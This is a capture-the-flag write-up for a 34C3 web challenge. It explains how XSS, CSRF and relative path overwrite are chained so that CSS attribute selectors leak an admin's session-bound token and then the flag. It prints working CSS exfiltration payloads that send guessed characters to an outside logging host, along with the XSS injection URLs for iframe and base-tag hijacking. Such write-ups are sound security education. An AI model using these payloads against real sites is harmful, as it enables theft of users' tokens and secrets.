I would briefly describe how I was thinking about the way of making the chain to exploit, get the admin’s flag.
The goal of this challenge is abusing multiple vulnerabilities to get the real flag of admin.
Overview
Basically, it let you store your URL on your profile, there is also a functionality to get flag by url like:
http://35.198.114.228/flag?token=10d9e7b8a7357542bb23240a2b93e961
Notice that, this flag token is only valid for you, no one without your session can see it.
It says our account is “non-admin”, no real flag here.
So the author want us to steal the flag, by submitting an URL to the admin, we have to get his flag token
, and then get the real flag in there as well.
Also there is CSP as below:
1 2 |
Content-Security-Policy: frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-src 'self'; |
frame-src
and default-src
policies are not defined, the site can load any iframe from anywhere.
The vulnerabilities
CSP prevents from running script (script-src ‘none’)
Take a first look, we can easily find out there are two vulnerabilities:
- XSS at
http://35.198.114.228/flag?token={xss}
with limited 64 characters. - CSRF at
/urlstorage
you can make him change his URL without his interaction.
With only two these, it is nearly impossible we can achieve the goal.
Just a bit later, I found there is RPO (Relative Path Overwrite) vulnerability as well. RPO is a technique, we can overwrite a relative path. For details can be found here.
(Actually, this is not my first time with RPO, you can read my another writeup about it at here *written in Vietnamese, please use translator, it works well*, the interesting point is, I leveraged RPO to leak Oauth token by using @import
instead of open-redirect)
So, by changing my URL to %0a{}%0a*{color:red}
I would be able to trigger RPO.
So what could we do with these 3 pieces of the puzzle ? ?
Step 1: Get the flag token
If you are familiar with CSS, you’ll know about CSS Selector , so what if we leak href flag?token={...}
by using this feature combining RPO.
By the following CSS payload
1 2 3 4 |
a[href^=flag\?token\=0]{background: url(//l4w.io/rpo/logging.php?c=0);} a[href^=flag\?token\=1]{background: url(//l4w.io/rpo/logging.php?c=1);} ... a[href^=flag\?token\=f]{background: url(//l4w.io/rpo/logging.php?c=f);} |
For example, if token
start with 1
, browser make a request to //evil/rpo/logging.php?c=1
(attempt to get background)
After we get the first character, then build for 2nd one
1 2 3 4 |
a[href^=flag\?token\=10]{background: url(//l4w.io/rpo/logging.php?c=10);} a[href^=flag\?token\=11]{background: url(//l4w.io/rpo/logging.php?c=11);} ... a[href^=flag\?token\=1f]{background: url(//l4w.io/rpo/logging.php?c=1f);} |
So on…
When I was getting the token, I found out, admin would log-in his account before touch your contact URL, so … token
is changed every time.
Luckily, if we solve pow.py
, the admins would took ~30 seconds on our URL. It is pretty enough for us to achieve completely 32 characters [0-9a-f]
of token
In summary:
Make a page on our server (for example: https://l4w.io/attack/step1 ) including these following steps:
- Attack CSRF to change victim’s URL to our CSS payload.
- Open a page
http://35.198.114.228/urlstorage/rpoooo
, when a victim get into there, by evil css selector, browser would make a request to our server each character of flag token. - Completely achieve 32 chars of flag token, then go to
/attack/step2
(describe later)
Then make XSS payload on token
http://35.198.114.228/flag?token=</title><iframe/src=//l4w.io/attack/step1>
There is XSS-Protection=1, but admin is running on phantomjs… (about this part, I just guess that perhaps admin browser doesn’t integrate with XSS Auditor)
Submit above URL with challenge’s solution pow for sure.
Step 2: Get the flag
As you know, the real flag is placed at:
http://35.198.114.228/flag?token={flag token}
and its source looks like:
content of the flag is a value of the textbox named flag
CSS attribute selector can be used to select an attributes value
of a textbox as well.
Problem occurs with this below example.html:
1 2 3 4 5 6 |
<input id=flag name=flag value="34C3_test"> <input id=blah name=blah value="foo"> <style> #flag[value^=34C3]{background: url(https://l4w.io?34c3);} #blah[value^=foo]{background: url(https://l4w.io?foo);} </style> |
Open it on your browser, it makes a request for https://l4w.io?foo
but not https://l4w.io?34c3
How come?
A bit struggle, I figured it out that, if a selector value startwiths a number 3
of 34C3
, it would not treat your value as a valid string, you have to put it in a quote '34C3'
.
But a single and double quote are encoded…
Already know the root-cause, I manage to do that by simply using
CSS [attribute*=”value”] Selector
The [attribute*=”value”] selector is used to select elements whose attribute value contains a specified value.
https://www.w3schools.com/css/css_attribute_selectors.asp
The payload turns into:
1 2 3 4 |
#flag[value*=C3_0]{background: url(//l4w.io/rpo/logging.php?flag=C3_0);} #flag[value*=C3_1]{background: url(//l4w.io/rpo/logging.php?flag=C3_1);} ... #flag[value*=C3_f]{background: url(//l4w.io/rpo/logging.php?flag=C3_f);} |
Wait, with this payload, how could we achieve the flag, since the flag is not located at ‘/urlstorage’ where our CSS payload relies on.
hm…
Go back to the URL /flag?token={...}
I noticed that, actually flag token is extracted by first 32 characters, the remaining would be ignored like:
1 |
$flag_token = substr($_GET['token'],0,32); |
Great! it’s the last small pieces of the puzzle.
By abusing it, I inject a <base>
tag to make the base of the relative path: static/css/milligram.min.css
points to /urlstorage/1
and parse our CSS payload again.
1 |
http://35.198.114.228/flag?token=06b05e82a2e5443d36d3cc34007fb8a6</title><base/href=/urlstorage/ |
At here /attack/step2
, we use the above payload to extract the flag, 30 seconds was not enough for me to achieve: 32 chars token + 40 chars flag.
So I just do it several times, to get flag completely.
The flag is: 34C3_d163c315ddc5458d329d6f4a617ce6d5358145cb
34C3 is great CTF, they delivery high quality challenges as always. I enjoyed much!
Be First to Comment